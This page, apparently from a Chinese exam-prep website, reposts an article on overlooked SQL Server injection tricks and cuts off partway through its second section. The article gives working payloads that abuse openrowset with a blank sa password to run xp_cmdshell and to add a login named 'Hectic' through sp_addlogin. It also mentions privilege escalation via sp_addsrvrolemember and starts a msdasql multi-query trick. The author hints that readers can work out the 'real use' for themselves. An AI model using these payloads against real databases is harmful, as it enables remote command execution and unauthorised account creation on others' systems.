首頁 考試吧論壇 Exam8視線 考試商城 網(wǎng)絡(luò)課程 模擬考試 考友錄 實(shí)用文檔 繽紛校園 英語學(xué)習(xí)
2010考研 | 自學(xué)考試 | 成人高考 | 專 升 本 | 法律碩士 | MBA/MPA | 中 科 院
四六級(jí) | 商務(wù)英語 | 公共英語 | 職稱日語 | 職稱英語 | 博思 | 口譯筆譯 | GRE GMAT | 日語 | 托福
雅思 | 專四專八 | 新概念 | 自考英語 | 零起點(diǎn)英、、韓語 | 在職申碩英語
在職攻碩英語 | 成人英語三級(jí)
等級(jí)考試 | 水平考試 | 微軟認(rèn)證 | 思科認(rèn)證 | Oracle認(rèn)證 | Linux認(rèn)證
公務(wù)員 | 報(bào)關(guān)員 | 報(bào)檢員 | 外銷員 | 司法考試 | 導(dǎo)游考試 | 教師資格 | 國際商務(wù)師 | 跟單員
單證員 | 物流師 | 價(jià)格鑒證師 | 銀行從業(yè)資格 | 證券從業(yè)資格 | 人力資源管理師 | 管理咨詢師
期貨從業(yè)資格 | 社會(huì)工作者
會(huì)計(jì)職稱 | 注會(huì)CPA | 經(jīng)濟(jì)師 | 統(tǒng)計(jì)師 | 注冊(cè)稅務(wù)師 | 評(píng)估師 | 精算師 | 高會(huì) | ACCA | 審計(jì)師
法律顧問 | 會(huì)計(jì)證
一級(jí)建造師 | 二級(jí)建造師 | 造價(jià)師 | 監(jiān)理師 | 安全師 | 咨詢師 | 結(jié)構(gòu)師 | 建筑師 | 安全評(píng)價(jià)師
房地產(chǎn)估價(jià)師 | 土地估價(jià)師 | 設(shè)備監(jiān)理師 | 巖土工程師 | 質(zhì)量資格 | 房地產(chǎn)經(jīng)紀(jì)人 | 造價(jià)員
投資項(xiàng)目管理 | 土地代理人 | 環(huán)保師 | 環(huán)境影響評(píng)價(jià) | 物業(yè)管理師 | 城市規(guī)劃師 | 公路監(jiān)理師
公路造價(jià)工程師 | 招標(biāo)師
執(zhí)業(yè)護(hù)士 | 執(zhí)業(yè)醫(yī)師 | 執(zhí)業(yè)藥師 | 衛(wèi)生資格
您現(xiàn)在的位置: 考試吧(Exam8.com) > 軟件水平考試 > 系統(tǒng)分析師 > 正文

注意那些容易被忽略的SQL注入技巧

面我要談到一些Sqlserver新的Bug,雖然本人經(jīng)過長(zhǎng)時(shí)間的努力,當(dāng)然也有點(diǎn)幸運(yùn)的成分在內(nèi),才得以發(fā)現(xiàn),不敢一個(gè)人獨(dú)享,拿出來請(qǐng)大家鑒別。

  1.關(guān)于Openrowset和Opendatasource

  可能這個(gè)技巧早有人已經(jīng)會(huì)了,就是利用openrowset發(fā)送本地命令。通常我們的用法是(包括MSDN的列子)

  select * from openrowset(‘sqloledb‘,‘myserver‘;‘sa‘;‘‘,‘select * from table‘)

  可見(即使從字面意義上看)openrowset只是作為一個(gè)快捷的遠(yuǎn)程數(shù)據(jù)庫訪問,它必須跟在select后面,也就是說需要返回一個(gè)recordset 。

  那么我們能不能利用它調(diào)用XP_cmdshell呢?答案是肯定的!

  select * from openrowset(‘sqloledb‘,‘server‘;‘sa‘;‘‘,‘set fmtonly off

  exec master.dbo.XP_cmdshel l ‘‘dir c:“‘‘‘)

  必須加上setfmtonlyoff用來屏蔽默認(rèn)的只返回列信息的設(shè)置,這樣XP_cmdshell返回的output集合就會(huì)提交給前面的select顯示,如果采用默認(rèn)設(shè)置,會(huì)返回空集合導(dǎo)致select出錯(cuò),命令也就無法執(zhí)行了。

  那么如果我們要調(diào)用sp_addlogin呢,他不會(huì)像XP_cmdshell返回任何集合的,我們就不能再依靠fmtonly設(shè)置了,可以如下操作:

  select * from openrowset(‘sqloledb‘,‘server‘;‘sa‘;‘‘,‘select ‘‘OK!‘‘

  exec master.dbo.sp_addlogin Hectic‘)

  這樣,命令至少會(huì)返回select OK!‘的集合,你的機(jī)器商會(huì)顯示OK!,同時(shí)對(duì)方的數(shù)據(jù)庫內(nèi)也會(huì)增加一個(gè)Hectic的賬號(hào),也就是說,我們利用select ‘OK!‘的返回集合欺騙了本地的select請(qǐng)求,是命令能夠正常執(zhí)行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于這個(gè)方法真正的用處,大家慢慢想吧。

  2.關(guān)于Msdasql兩次請(qǐng)求的問題

  不知道大家有沒有試過用msdasql連接遠(yuǎn)程數(shù)據(jù)庫,當(dāng)然這個(gè)api必須是sqlserver的管理員才可以調(diào)用,那么

  select * from openrowset(‘msdasql‘,‘driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn‘,‘s
elect * from table1 select * from table2‘)

轉(zhuǎn)帖于:軟件水平考試_考試吧
文章搜索
注意那些容易被忽略的SQL注入技巧網(wǎng)友評(píng)論網(wǎng)友評(píng)論
版權(quán)聲明 --------------------------------------------------------------------------------------
    如果軟件水平考試網(wǎng)所轉(zhuǎn)載內(nèi)容不慎侵犯了您的權(quán)益,請(qǐng)與我們聯(lián)系,我們將會(huì)及時(shí)處理。如轉(zhuǎn)載本軟件水平考試網(wǎng)內(nèi)容,請(qǐng)注明出處。
 gaoxiaoliang